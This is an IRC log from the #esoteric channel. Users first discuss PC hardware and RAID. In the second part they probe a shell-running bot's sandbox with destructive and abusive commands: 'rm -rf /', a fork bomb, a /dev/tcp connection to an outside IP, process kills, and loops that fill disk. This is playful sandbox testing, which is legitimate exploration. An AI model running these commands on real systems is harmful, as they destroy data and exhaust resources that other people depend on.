1241389054 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :mind lapsed < 1241389057 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric ::-D < 1241389063 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :although the crappier atis have better linux support < 1241389066 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :but right, i'll repick a nvidia < 1241389071 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :i just don't know anything about nvidias :-) < 1241389084 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :well i know nothing about either one < 1241389089 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :But anyway, that card is worse than something I was thinking of purchasing back in 2003 < 1241389094 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I wonder why it has 512MB of RAM < 1241389094 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: law < 1241389095 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :l < 1241389112 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: SPARKLE GeForce 9400 GT SFPX94GT1024U2 Video Card - Retail 1gb < 1241389124 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :do YOU know anything about nvidias? < 1241389127 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Seems to be in the same category < 1241389136 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Also worse than that 2003 card :-P < 1241389145 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: do you care that the gfx card is worse than a card Deewiant was going to purchase in 2003 < 1241389160 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Oh, scratch that, I was thinking of a 9700 Pro < 1241389161 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :probably not < 1241389168 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Which is a couple of times better than the 9700 that thing is worse than < 1241389172 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: good, the reviews say it's good performance for the cost anyway so let's just go with that < 1241389207 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: http://pastie.org/467034.txt?key=2sd0gfqxxsrbgd9euvs1eq < 1241389244 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I've never had a Hitachi disk < 1241389263 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: newegg reviews say it's good and people were complaining about WD and saying this one was much better in them < 1241389275 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :doesn't look like it should cause any troubles < 1241389276 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Everybody has a hard disk vendor they hate < 1241389276 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and it's cheap < 1241389283 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :yar < 1241389295 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: you might need a proprietary nvidia driver for that card < 1241389297 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :do you care? < 1241389315 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :blah < 1241389327 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: what truth value does blah have < 1241389340 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: oh hm < 1241389341 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :What's the status of the non-proprietary linux nvidia drivers < 1241389356 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: http://xorg.freedesktop.org/wiki/nv < 1241389360 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :no 3d acceleration < 1241389360 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :what's the status of non-linux nvidia drivers < 1241389365 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: what OS? < 1241389367 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsd? windoze? < 1241389371 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :*windows < 1241389372 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :freebsd < 1241389374 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :god I hate that habit < 1241389382 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: well, it's X drivers < 1241389384 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: do you need 3d < 1241389390 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ie compiz or gaming, I assume not < 1241389396 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :if not, go for http://xorg.freedesktop.org/wiki/nv, which is open source. < 1241389493 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: so, anything I need to change? :p < 1241389504 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :dunno < 1241389566 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: I imagine, as a non-gamer programmer, the cpu/ram/hd are your main bottlenecks... well, the i7's gonna be enough for everything, 12gb is ridiculous and the 7200rpm hd... I think the most you can get for 1tb is 7500rpm, so i don't see an issue there < 1241389582 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :so unless i've made a stupid mistake i think that's about right < 1241389592 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :right < 1241389622 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :i think the main upgrade on that would be an SSD but the x25-m is like $300 < 1241389634 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and alignment on those is a bitch (this may be my frustration speaking) < 1241389655 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :yeah that's what i hear < 1241389674 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: on linux you have to do arcane LVM stuff (how redundant) to get it aligned to the write boundary stuff < 1241389678 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :no idea about freebsd. < 1241389721 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: it'll be way faster than a regular hd anyway, iirc, though. at newegg the 80gb x25-m is $324.99 < 1241389726 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :http://www.newegg.com/Product/Product.aspx?Item=N82E16820167005 < 1241389735 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :your choice, if you're going for $1.5k i'd skip it < 1241389743 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :since the hw in my paste brushes that limit anyway < 1241389760 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :you had $2000 as an upper bound, if you're willing to go near there i'd probably go for the x25 < 1241389782 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :since the performance benefit is really high from what i've read < 1241389805 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :doesn't seem worth it < 1241389848 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :i watched a video where two identically specced machines apart from one having an X25-M in booted up windows and opened some bloated applications; the SSD one was over 2x quicker to finish < 1241389863 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :but for the price, yeah, not worth it if that's a concern < 1241389981 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1241389993 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :so a raid1 of those drives will get like 200mb/s sustained read < 1241390009 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: what, of x25ms? < 1241390014 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :no, the hitachi < 1241390016 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1241390017 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1241390026 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and, well, depends, i mean, dunno about software raid < 1241390029 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: do you know? < 1241390038 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Nope < 1241390050 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: are you sure raid-1 is the best backup method for you? < 1241390061 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :RAID is not backup. < 1241390067 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :well sure < 1241390071 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :but raid 1 is backup to a degree < 1241390082 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :the whole point is guarding against one disk failing < 1241390088 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It's protection against one-disk failure < 1241390095 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Backup is more than that < 1241390100 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Sure < 1241390104 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :But if you back up you don't really need that < 1241390108 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Backup is protection against accidental rm $HOME and such < 1241390115 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and disk failure < 1241390128 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You can backup as well as keep a raid < 1241390147 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :I know < 1241390156 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :But if I was backing up I'd skip raid 1 < 1241390165 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :i want raid1 for speed too < 1241390180 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: go for hardware raid then < 1241390183 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :enjoy our $700 :-P < 1241390184 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :*you < 1241390185 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :*your < 1241390264 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1241390274 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: http://www.newegg.com/Product/Product.aspx?Item=N82E16816116030 this is pretty cheap for a raid isn't it? < 1241390276 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :what's the catch < 1241390287 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: that one has drivers included in freebsd sez a review < 1241390291 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It might suck :-P < 1241390306 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :If not, there's the fact that it's 2-port and SATA-only < 1241390312 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: i'd assume the reviews would reflect that if so at least to a degree < 1241390325 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: beats software raid, no? < 1241390332 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Maybe, maybe not < 1241390343 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Hardware is not better than software by default < 1241390348 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :sure < 1241390379 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :http://www.newegg.com/Product/Product.aspx?Item=N82E16816131001 lots of freebsd people reviewing this stuff < 1241390387 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ehird, software RAID isn't that bad. Bit better than cheaper RAID cards, since those tend to be poorly implemented software RAID with a disk controller attached. < 1241390468 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, ehird http://www.futurelooks.com/nzxt-tempest-midtower-atx-case-review/ < 1241390474 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, you would HATE it < 1241390475 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Actually, unless the RAID involves parity, the difference between hardware and software RAID is almost moot... < 1241390501 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: that case is ugly < 1241390507 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: that's what i was thinking < 1241390512 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood, that wasn't the main thing about it... < 1241390659 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Also, Linux software RAID is rather ridiculously flexible. < 1241390699 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, that is a hallmark (right word?) of Linux IME < 1241390706 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :True. < 1241390706 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ridiculously flexible. < 1241391004 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :ehird: now, how much farther would the other $500 get me < 1241391286 0 :comex!n=comex@teklinks.org JOIN :#esoteric < 1241391296 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :http://prgmr.com/xen/ < 1241391315 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yes, 'tis awesome. < 1241391369 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ACTION wonders why comex came here just to say that :P < 1241391375 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("I'm on prgrm lawl") < 1241391378 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :I'm on prgrm lawl < 1241391379 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Tpyo X_X < 1241391381 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("I'm on prgmr lawl") < 1241391383 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :I'm on prgmr lawl < 1241391419 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :doubt it'll last long < 1241391439 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!sh rm -rf / < 1241391440 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/rm: cannot remove root directory `/' < 1241391442 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!sh rm -rf /* < 1241391443 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/rm: cannot remove `/bin': Function not implemented < 1241391447 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :I think it'll last OK. < 1241391454 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh find / < 1241391454 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/ < 1241391455 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls < 1241391456 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :interps < 1241391462 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :!sh pwd < 1241391466 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh find / | xargs echo < 1241391475 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: i mean prgmr < 1241391482 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: Oh? Whyzzat? < 1241391489 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :too cheap < 1241391524 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :Hey, that's almost cheap. < 1241391566 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: Their blog and log suggests they've been in business since 2006. < 1241391574 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :How much does long-term file storage cost? < 1241391595 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :kerlo: Less than that :P < 1241391596 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :And by "long-term", I mean "write to it once a week". < 1241391618 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :Write to it once a week, read from it every few months or something. < 1241391649 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :$1/gb is a good rule of thumb < 1241391666 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :Per month? < 1241391696 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :no, one time < 1241391737 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :Presumably, overwriting means you pay again. < 1241391769 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :actually, just for kicks < 1241391772 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls < 1241391773 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :interps < 1241391784 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :!sh strace rm -rf / < 1241391785 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/tmp/input.10021: line 1: strace: command not found < 1241391797 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh :(){ :|:& };: < 1241391800 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: plz2be correcting this < 1241391801 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :It seems that pwd doesn't do anything. < 1241391810 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!sh echo `pwd` < 1241391810 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/home/egobot/egobot.hg/multibot_cmds < 1241391810 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :!sh pwd | base64 < 1241391811 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :L2hvbWUvZWdvYm90L2Vnb2JvdC5oZy9tdWx0aWJvdF9jbWRzCg== < 1241391821 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :Hey, look at that. < 1241391827 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!sh echo $PWD < 1241391827 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/home/egobot/egobot.hg/multibot_cmds < 1241391835 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!sh echo $OLDPWD < 1241391836 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh bash -c 'pwd' < 1241391836 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/home/egobot/egobot.hg/multibot_cmds < 1241391840 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh bash -c 'pwd' < 1241391840 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/home/egobot/egobot.hg/multibot_cmds < 1241391846 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh bash -c ':(){ :|:& };:' < 1241391846 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/bash: fork: Resource temporarily unavailable < 1241391852 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls -l < 1241391853 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/ls: interps: Function not implemented < 1241391861 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :ACTION blinks < 1241391872 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :!sh echo < 1241391897 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :Oh, I'm receiving a transmission. < 1241391920 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :!sh echo 'echo foo' > foo; chmod +x foo; foo < 1241391920 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/tmp/input.14550: line 1: foo: Permission denied < 1241391928 0 :nooga!unknown@unknown.invalid QUIT :Read error: 54 (Connection reset by peer) < 1241391930 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :Boring. < 1241391958 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls -ld . < 1241391959 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/ls: .: Function not implemented < 1241391974 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :drwxrwxrwx 0 0 0 0 Jan 1 1970 . < 1241391986 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That's unique. < 1241391994 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :Yeah. < 1241391998 0 :calamous!n=harry@hawk-c-047.resnet.purdue.edu JOIN :#esoteric < 1241391998 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh bash -c 'echo hi > /dev/tcp/69.124.60.187/9999' < 1241391999 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/bash: /dev/tcp/69.124.60.187/9999: No such file or directory < 1241392030 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh perl -e 'print 1;' < 1241392030 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :1 < 1241392042 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls -ld .. < 1241392042 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/ls: ..: Function not implemented < 1241392047 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls -ld `pwd`/.. < 1241392047 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/ls: /home/egobot/egobot.hg/multibot_cmds/..: Function not implemented < 1241392054 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls -ld /home/egobot/egobot.hg < 1241392054 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/ls: /home/egobot/egobot.hg: Function not implemented < 1241392062 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls -ld /home/egobot/* < 1241392063 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/ls: /home/egobot/egobot.hg: Function not implemented < 1241392064 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls -ld /home/ < 1241392064 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/ls: /home/: Function not implemented < 1241392070 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh echo /home/egobot/* < 1241392070 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/home/egobot/egobot.hg < 1241392074 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh echo /home/egobot/egobot.hg/* < 1241392074 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/home/egobot/egobot.hg/multibot_cmds < 1241392076 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :!sh which ls < 1241392077 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/ls < 1241392078 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh echo /home/egobot/* < 1241392078 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/home/egobot/egobot.hg < 1241392083 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :!sh cat /bin/ls < 1241392083 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :ELF < 1241392092 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh strings /bin/ls | xargs echo < 1241392094 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :That looks like a really, really short executable. < 1241392095 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :!sh /bin/ls /home/ < 1241392113 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :!sh wc /bin/ls < 1241392114 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :277 2151 110248 /bin/ls < 1241392123 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :Nope. < 1241392131 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh unamer -a < 1241392131 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/tmp/input.14997: line 1: unamer: command not found < 1241392132 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh uname -a < 1241392132 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Linux codu.org 2.6.26-1-xen-amd64 #1 SMP Sat Jan 10 20:39:26 UTC 2009 x86_64 GNU/Linux < 1241392150 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls /tmp/ < 1241392150 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :compiled.19784 < 1241392156 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh hd /tmp/compiled.* < 1241392156 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :00000000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............| < 1241392164 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh /tmp/compiled.* < 1241392165 0 :calamous!unknown@unknown.invalid PRIVMSG #esoteric :!sh bash < 1241392182 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1241392191 0 :calamous!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("hello wordl\n"); < 1241392193 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :hello wordl < 1241392217 0 :tombom!unknown@unknown.invalid QUIT :"Peace and Protection 4.22.2" < 1241392219 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :I've had plans to write an imitation bash-bot for a while. < 1241392231 0 :calamous!unknown@unknown.invalid PRIVMSG #esoteric :Its the real deal. it runs in a sandbox < 1241392253 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh kill $(pgrep -u `id -u`) < 1241392257 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :!sh echo "bar" > foo < 1241392257 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/tmp/input.15253: line 1: foo: Permission denied < 1241392268 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh which kill < 1241392269 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/kill < 1241392270 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :!sh echo "bar" > /tmp/foo < 1241392273 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh /bin/kill $(pgrep -u `id -u`) < 1241392277 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :!sh cat /tmp/foo < 1241392291 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :!sh echo "\n" >> /tmp/foo < 1241392292 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :!sh cat /tmp/foo < 1241392302 0 :calamous!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls /dev < 1241392303 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :null < 1241392303 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh dd if=/dev/zero of=/tmp/foox < 1241392304 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/dd: opening `/dev/zero': No such file or directory < 1241392319 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Um... < 1241392324 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls /tmp/ < 1241392324 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :compiled.19784 < 1241392327 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh perl -e 'print 1 while 1;' > /tmp/foox < 1241392331 0 :calamous!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls /proc < 1241392332 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :For five bucks a month, I could buy a teeny tiny server and give people root access to it. < 1241392341 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :kerlo: and then we could set up some stuff on it < 1241392342 0 :calamous!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls / < 1241392344 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :it would almost be like a nomic < 1241392361 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :Yeah. < 1241392370 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :Except anyone would be able to do anything. < 1241392377 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :which reminds me, why don't I have #esoteric and #rootnomic as default joins < 1241392381 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls /tmp < 1241392381 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :compiled.19784 < 1241392387 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh ps < 1241392407 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh stat /tmp/foox < 1241392414 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh wc /tmp/foox < 1241392415 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :0 1 10485760 /tmp/foox < 1241392423 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :kerlo: With the possibility of doing kernel patches while running. ;) < 1241392430 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh cp /tmp/foox /tmp/fooy < 1241392438 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls /tmp/foo? < 1241392438 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/tmp/foox < 1241392443 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :I could dissolve Normish and get six teeny tiny servers for about the same price. < 1241392448 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh wc /tmp/fooy < 1241392448 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :0 1 10485760 /tmp/fooy < 1241392468 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :More combined disk space, more combined RAM, no backups. < 1241392495 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh i=0; while true; do cp /tmp/foox /tmp/foo$i; let i=i+11; done < 1241392523 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls /tmp/foo* | xargs echo < 1241392523 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/tmp/foo /tmp/foo0 /tmp/foo11 /tmp/foo110 /tmp/foo121 /tmp/foo132 